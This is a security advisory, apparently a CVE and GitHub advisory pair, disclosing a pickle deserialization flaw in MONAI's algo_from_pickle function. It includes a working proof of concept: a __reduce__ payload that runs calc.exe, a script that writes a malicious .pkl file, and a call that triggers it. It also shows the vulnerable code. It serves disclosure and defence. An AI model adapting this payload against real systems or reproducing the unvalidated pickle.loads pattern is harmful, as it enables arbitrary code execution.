CVE-2026-100846 — MONAI before 1.5.2 Remote Code Execution via Pickle Deserialization

Affected: Project-MONAI MONAI

MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.

GHSA-89gg-p5r5-q6r4 — MONAI: Unsafe functions lead to pickle deserialization rce

Affected: PyPI: monai

### Summary The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

### Details poc ``` import pickle import subprocess class MaliciousAlgo: def __reduce__(self): return (subprocess.call, (['calc.exe'],)) malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = { "algo_bytes": malicious_algo_bytes, } attack_pickle_file = "attack_algo.pkl" with open(attack_pickle_file, "wb") as f: f.write(pickle.dumps(attack_data))

``` Generate the malicious file "attack_algo.pkl" through POC.

``` from monai.auto3dseg.utils import algo_from_pickle

attack_pickle_file = "attack_algo.pkl" result = algo_from_pickle(attack_pickle_file) ``` Ultimately, it will trigger pickle.load through a file to identify the command execution.

Causes of the vulnerability: ``` def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes)

```

### Impact Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a s…

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CVE-2026-100846 — MONAI before 1.5.2 Remote Code Execution via Pickle Deserialization

GHSA-89gg-p5r5-q6r4 — MONAI: Unsafe functions lead to pickle deserialization rce